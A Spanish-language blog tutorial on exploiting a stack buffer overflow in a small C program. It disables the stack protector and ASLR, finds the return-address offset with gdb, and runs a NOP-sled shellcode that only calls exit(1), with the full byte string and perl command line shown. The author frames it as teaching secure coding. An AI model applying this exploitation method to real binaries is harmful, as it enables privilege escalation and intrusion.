Ir al contenido principal

Explotando vulnerabilidades: buffer overflow y shellcode

El anterior post lo dediqué a hablaros del funcionamiento de la pila en las llamadas a funciones con la intención de seguir profundizando hoy en los posibles problemas que pueden surgir de una programación poco cuidadosa. La mayoría de los problemas de seguridad que surgen a diario tienen su raíz en una vulnerabilidad del código ejecutable de un programa. Hoy voy a hablar de desbordamiento de buffers o buffer overflow y shellcodes.



Retocaremos un poco el programa del post anterior para simplificarlo. Ahora los parámetros llegarán por línea de comando, para que todo sea un poco más realista. El siguiente código toma una cadena de caracteres como parámetro (supuestamente un nombre) y muestra un saludo.


#include <stdio.h>
#include <string.h>

void saluda(char * texto) {
    char nombre[10];

    strcpy(nombre, texto);
    printf("Hola %s\n", nombre);  
}


int main(int argc, char **argv) { 
    if (argc == 2) {
        saluda(argv[1]);
    } else { 
        printf("Este programa acepta exactamente un argumento.\n");
    }

    return 0;
}


Vamos a compilarlo con los siguientes parámetros.


gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector \
-z execstack -o saludo2 saludo2.c


El parámetro -mpreferred-stack-boundary=2 es para alinear el stack a 4 bytes. El parámetro -fno-stack-protector desactiva la protección de la pila y finalmente -z execstack hace que sea posible ejecutar código en la pila.

Te estarás preguntando si esto no es hacer un poco de trampa y la respuesta es: absolutamente. Estamos desactivando ciertas protecciones que añade el compilador para hacer nuestro código más seguro. Por desgracia, estas protecciones se pueden rodear, así que para que entendamos los conceptos sin complicar demasiado el asunto, mejor ponérnoslo fácil y desactivar las protecciones.
Seguramente tengas curiosidad por saber cómo se podría uno saltar todas estas medidas de protección, pero me vas a permitir que no lo cuente en esta ocasión... los malos podrían estar escuchando.

El resultado de la ejecución del programa, una vez compilado, es el siguiente:


alberto@vmubuntu:~/temp$ ./saludo2 alberto
Hola alberto


La variable nombre es un array de tamaño 10. ¿Qué ocurriría si pusiéramos un nombre de más de 10 caracteres? Probemos.


alberto@vmubuntu:~/temp$ ./saludo2 AAAAAAAAAAAAAAAAAAAA
Hola AAAAAAAAAAAAAAAAAAAA
Violación de segmento (`core' generado)


Parece que nada bueno. De hecho, si hay algún hacker malicioso en la sala estará frotándose las manos porque es el preludio de algo no muy bueno.
La violación de segmento nos indica que el programa ha intentado acceder a una zona de memoria que está fuera de su segmento, así que el propio sistema operativo lo impide como medida de protección para otros programas que pudieran estar ejecutándose.
Pero ¿cómo un programa tan inocente como éste puede estar tratando de acceder a otro segmento de memoria? Veamos qué ha pasado exactamente.

La siguiente figura muestra la estructura general del stack frame (del que ya hablamos en el anterior artículo).

stack frame

Como se puede ver en la figura, tras la zona reservada a los parámetros de la función se encuentra la dirección de retorno. Es decir, almacena la dirección de memoria a la que hay que saltar cuando termine la ejecución de la función. Si recuerdas el artículo anterior, cuando termina la función se ejecuta el epílogo, que entre otras cosas, saca de la pila la dirección de retorno y la almacena en el registro %eip, que a su vez contiene la dirección de memoria de la siguiente instrucción que ha de ejecutar el microprocesador.
Vamos a ejecutar de nuevo el programa, pero esta vez dentro del depurador.


alberto@vmubuntu:~/temp$ gdb -q ./saludo2
Leyendo símbolos desde /home/alberto/temp/saludo2...hecho.
(gdb) run AAAAAAAAAAAAAAAAAAAA
Starting program: /home/alberto/temp/saludo2 AAAAAAAAAAAAAAAAAAAA
Hola AAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg eip
eip            0x41414141 0x41414141


Fíjate en el valor que tiene el registro %eip: 0x1414141. Algún lector avispado habrá caído en la cuenta de que 0x41 es el valor ASCII (en hexadecimal) del carácter A. ¿Quiere esto decir que hemos sobrepasado la zona de la pila reservada para variables locales y hemos machacado el valor de la dirección de retorno con las A's? Respuesta: Sí.
¿Y esto quiere decir que si en vez de A's pongo otros valores válidos, podría hacer que la ejecución del programa siguiera en una dirección de memoria arbitraria? Respuesta: Sí.

Bien, empecemos por averiguar en qué posición de nuestra cadena de caracteres habría que poner los valores que queremos cargar en %eip. Para ello, en lugar de una ristra de A's vamos a poner números consecutivos.


alberto@vmubuntu:~/temp$ gdb -q ./saludo2
Leyendo símbolos desde /home/alberto/temp/saludo2...hecho.
(gdb) run 01234567890123456789
Starting program: /home/alberto/temp/saludo2 01234567890123456789
Hola 01234567890123456789

Program received signal SIGSEGV, Segmentation fault.
0x37363534 in ?? ()
(gdb) info reg eip
eip            0x37363534 0x37363534


Vale, tenemos los bytes 0x37, 0x36, 0x35 y 0x34, cuyos caracteres corresponden en ASCII a:

0x34 = 4
0x35 = 5
0x36 = 6
0x37 = 7

Parece que ya lo tenemos, las posiciones que nos interesan son las que están en negrita: 01234567890123456789

Vamos a asegurarnos poniendo ceros en esas posiciones y comprobando el valor que toma %eip.


alberto@vmubuntu:~/temp$ gdb -q ./saludo2
Leyendo símbolos desde /home/alberto/temp/saludo2...hecho.
(gdb) run 01234567890123000045
Starting program: /home/alberto/temp/saludo2 01234567890123000045
Hola 01234567890123000045

Program received signal SIGSEGV, Segmentation fault.
0x30303030 in ?? ()
(gdb) info reg eip
eip            0x30303030 0x30303030


Teniendo en cuenta que el valor ASCII del caracter 0 (en hexadecimal) es 0x30, parece que hemos dado en el blanco.
¿Y ahora? Pues ahora que podemos saltar a la dirección de memoria que queramos, tenemos que decidir a qué dirección de memoria saltar. La mala noticia es que tenemos que saltar a una dirección de memoria dentro del segmento del programa si no queremos obtener un bonito segmentation fault. ¿Cómo podemos inyectar código dentro de un programa que ya se está ejecutando? Hay algunas técnicas, pero la más directa y simple es poner el código en la propia cadena de caracteres que se pasa al programa como parámetro y saltar al principio de dicho código. Menuda pirueta ¿no?
Vayamos por partes. Lo primero que vamos a tratar de averiguar es a qué dirección de memoria exacta hay que saltar y luego resolveremos el problema de poner el código en la cadena de texto.

Cómo en este caso sólo tenemos una variable local, la cosa es fácil. Nuestro buffer de texto estará apuntado directamente por el registro %esp (stack pointer). Para no liarte, ten en cuenta que la figura de más arriba donde se ve la estructura del stack frame está invertida respecto a la que puse en el post anterior, es decir, aquí las direcciones de memoria alta estarían en la parte superior de la figura.

Pero antes tendremos que lidiar con una protección extra que ofrecen los sistemas operativos más modernos. El ASLR (Address space layout randomization). Lo que hace es mover aleatoriamente (añade un offset) ciertas zonas de un programa ejecutable, entre los que se encuentra la pila. Vamos a comprobar si nuestro sistema tiene activa dicha protección.

Ejecutamos dos veces el programa dentro del depurador y vemos el valor que tome %esp.


alberto@vmubuntu:~/temp$ gdb -q ./saludo2
Leyendo símbolos desde /home/alberto/temp/saludo2...hecho.
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/alberto/temp/saludo2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hola aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg esp
esp            0xbffff2f4 0xbffff2f4
(gdb) run bbbbbbbbbbbbbbbbbbbbbbbbbbbbb
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /home/alberto/temp/saludo2 bbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Hola bbbbbbbbbbbbbbbbbbbbbbbbbbbbb

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
(gdb) info reg esp
esp            0xbffff304 0xbffff304


En la primera ejecución %esp valía 0xbffff2f4 y en la segunda 0xbffff304, así que tiene toda la pinta de que tenemos activo el ASLR.

Alternativamente, puede comprobarse de la siguiente manera:


alberto@vmubuntu:~/temp$ cat /proc/sys/kernel/randomize_va_space 
2


Si lo queremos desactivar sólo hay que poner este valor a cero. Como root ejecutamos:


root@vmubuntu:~# echo "0" > /proc/sys/kernel/randomize_va_space


De nuevo nos ponemos las cosas fáciles desactivando protecciones, aunque te adelanto que hay técnicas para esquivar el ASLR.

Comprobemos de nuevo:


alberto@vmubuntu:~/temp$ gdb -q ./saludo2
Leyendo símbolos desde /home/alberto/temp/saludo2...hecho.
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/alberto/temp/saludo2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hola aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg esp
esp            0xbffff2f4 0xbffff2f4
(gdb) run bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /home/alberto/temp/saludo2 bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Hola bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
(gdb) info reg esp
esp            0xbffff2f4 0xbffff2f4


Ahora si coinciden los valores. En este caso, al estar dentro del depurador, el registro %esp podría no coincidir con el valor que tendría si lo ejecutáramos directamente, así que para obtener %esp vamos a forzar que se genere un core y con gdb vamos a analizarlo.

Para asegurarnos de que genera el core en el disco usamos la siguiente instrucción.


ulimit -c unlimited


Y seguidamente lanzamos el programa con el parámetro siguiente (justo el tamaño necesario para sobreescribir el registro %eip).


alberto@vmubuntu:~/temp$ ./saludo2 012345678901230000
Hola 012345678901230000
Violación de segmento (`core' generado)


Analizamos el fichero de core que se ha generado y vemos cuál es el valor de %esp.


alberto@vmubuntu:~/temp$ gdb -q -c core
[Nuevo LWP 3197]
El núcleo se generó por «./saludo2 012345678901230000».
El programa terminó con la señal 11, Segmentation fault.
#0  0x30303030 in ?? ()
(gdb) info reg
eax            0x18 24
ecx            0x0 0
edx            0x0 0
ebx            0x2ecff4 3067892
esp            0xbffff334 0xbffff334
ebp            0x33323130 0x33323130
esi            0x0 0
edi            0x0 0
eip            0x30303030 0x30303030
eflags         0x10292 [ AF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51


El valor de %esp es 0xbffff334, pero el principio del buffer estará en %esp-18, ya que el parámetro que hemos pasado tenía 18 bytes. Vamos a comprobarlo dentro de gdb.


(gdb) x/18x $esp-18
0xbffff322: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
0xbffff32a: 0x38 0x39 0x30 0x31 0x32 0x33 0x30 0x30
0xbffff332: 0x30 0x30


Coincide con los valores esperados 0x30=0, 0x31=1, 0x32=2, etc.
Así que la dirección base donde empieza nuestro buffer es 0xbffff322.

Ahora nos falta poner el código que queremos ejecutar, junto con la dirección base de dicho código en la cadena de caracteres que se pasa como parametro al programa. Es lo que comunmente se denomina shellcode, ya que habitualmente lo que se persigue es obtener una shell con permisos de administrador. Nosotros nos vamos a quedar un paso antes y en vez de eso (no quiero que luego me culpen de darte malas ideas) vamos a ejecutar un código que simplemente hace un exit(1). Es decir, sale del programa con el valor de retorno 1.

El siguiente es el código ensamblador que queremos ejecutar junto con sus códigos de operación en formato hexadecimal.


#codigo del shellcode ( exit(1) ):
"\x31\xc0"              // xor  %eax,%eax
"\x40"                  // inc  %eax
"\x89\xc3"              // mov  %eax,%ebx
"\xcd\x80"              // int  $0x80


Los códigos de operación pueden obtenerse fácilmente desde gdb con:


(gdb) x/7x direccción_shellcode


Hagamos algunos cálculos:
El shellcode tiene 7 bytes y la dirección de memoria que vamos a volcar a %eip son 4 bytes. 11 bytes en total. Como nuestro buffer maligno tiene 18 bytes rellenaremos el resto con instrucciones NOP, que tienen el código de operación 0x90. Tengo la costumbre de poner los NOPs al principio del shellcode por razones que no explicaré por ahora, así que la cosa quedaría así:

\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf

En azul están los NOPs de relleno, en rojo los bytes en hexadecimal de nuestro shellcode y finalmente en verde la dirección que vamos a poner en %eip, que como hemos visto era 0xbffff322.
Si te fijas en la dirección, los cuatro bytes que la componen están puestas al revés debido a la arquitectura x86 que es little endian.

¿Cómo ponemos esa cadena de caracteres en el parámetro del programa? Vamos a usar perl para ello:


./saludo2 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf"'`


Ejecutemos primero el programa con un parámetro legal:


alberto@vmubuntu:~/temp$ ./saludo2 Alberto
Hola Alberto
alberto@vmubuntu:~/temp$ echo $?
0


Vemos que el código de retorno del programa es 0 (se comprueba con echo $?).

Ahora ejecutamos de nuevo pero con nuestro shellcode.


alberto@vmubuntu:~/temp$ ./saludo2 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf"'`
Hola �������1�@��̀"���
alberto@vmubuntu:~/temp$ echo $?
1


No ha habido violación de segmento ni code dump ni nada de nada (salvo unos caracteres extraños que se corresponden con los valores en hexadecimal que le hemos pasado). Y... sorpresa: el valor de retorno es 1, lo que quiere decir que se ha ejecutado nuestro shellcode.

Puede que no te parezca muy sorprendente, pero si eres capaz de ver un poco más allá te darás cuenta del potencial del asunto. A partir de esta técnica es posible realizar diferentes ataques.
Imagina por ejemplo que encontramos una vulnerabilidad de este tipo en un programa con el bit SUID activo y que además pertenece al usuario root. Si nuestro shellcode, en vez de hacer exit ejecuta un execve("/bin/sh"), obtendremos nada más y nada menos que una shell de root.

El ejemplo que hemos visto es muy obvio y no hemos usado ninguna herramienta para ayudarnos (que las hay). Mi intención es simplemente concienciar sobre las buenas prácticas de programación y de por qué hay que chequear los límites de los arrays o de los bloques de memoria (en este caso bastaría con sustituir strcpy() por strncpy() para evitar esta vulnerabilidad).
He buscado un equilibrio entre mostrar la problemática de los desbordamientos de buffer y no dar una receta para que cualquier descerebrado con aires de hacker pueda causar problemas a nadie (por eso el shellcode que os he mostrado es un inofensivo exit(1)).

Comentarios

  1. Muy bueno este post! Me encanta! Aunque me surge una duda, tengo entendido que si tienes el código, entonces puedes ejecutarlo y por ello hacer lo del shellcode, pero... cómo se podría obtener previamente ese código? Soy estudiante y en mi asignatura de Seguridad Informática tengo una práctica sobre vulnerabilidades. Espero puedas darme alguna pista de dónde o cómo buscar sobre ello. Gracias!

    ResponderEliminar
  2. Genial amigo tu explicación es muy didáctica y logre de terminar de comprender algunos detalles, muchas gracias

    ResponderEliminar

Publicar un comentario

Entradas populares de este blog

Creando firmas de virus para ClamAV

ClamAv es un antivirus opensource y multiplataforma creado por Tomasz Kojm muy utilizado en los servidores de correo Linux. Este antivirus es desarrollado por la comunidad, y su utilidad práctica depende de que su base de datos de firmas sea lo suficientemente grande y actualizado. Para ello es necesario que voluntarios contribuyan activamente aportando firmas. El presente artículo pretende describir de manera sencilla cómo crear firmas de virus para ClamAV y contribuir con ellas a la comunidad.

Manejo de grafos con NetworkX en Python

El aprendizaje computacional es un área de investigación que en los últimos años ha tenido un auge importante, sobre todo gracias al aprendizaje profundo (Deep Learning). Pero no todo son redes neuronales. Paralelamente a estas técnicas, más bien basadas en el aprendizaje de patrones, también hay un auge de otras técnicas, digamos, más basadas en el aprendizaje simbólico. Si echamos la vista algunos años atrás, podemos considerar que quizá, la promesa de la web semántica como gran base de conocimiento ha fracasado, pero no es tan así. Ha ido transmutándose y evolucionando hacia bases de conocimiento basadas en ontologías a partir de las cuales es posible obtener nuevo conocimiento. Es lo que llamamos razonamiento automático y empresas como Google ya lo utilizan para ofrecerte información adicional sobre tus búsquedas. Ellos lo llaman Grafos de Conocimiento o Knowledge Graphs . Gracias a estos grafos de conocimiento, Google puede ofrecerte información adicional sobre tu búsqueda, ad

Scripts en NMAP

Cuando pensamos en NMAP, pensamos en el escaneo de puertos de un host objetivo al que estamos relizando una prueba de intrusión, pero gracias a las posibilidades que nos ofrecen su Scripting Engine , NMAP es mucho más que eso. Antes de continuar, un aviso: algunas de posibilidades que nos ofrecen los scripts de NMAP son bastante intrusivas, por lo que recomiendo hacerlas contra hosts propios, máquinas virtuales como las de Metasploitable, o contrato de pentesting mediante. Para este artículo voy a usar las máquinas de Metasploitable3 . No voy a entrar en los detalles sobre el uso básico de NMAP, ya que hay miles de tutoriales en Internet que hablan sobre ello. Lo cierto es que NMAP tiene algunas opciones que permiten obtener información extra, además de qué puertos están abiertos y cuales no. Por ejemplo, la opción -sV trata de obtener el servicio concreto, e incluso la versión del servicio que está corriendo en cada puerto. Otro ejemplo es la opción -O, que intenta averiguar el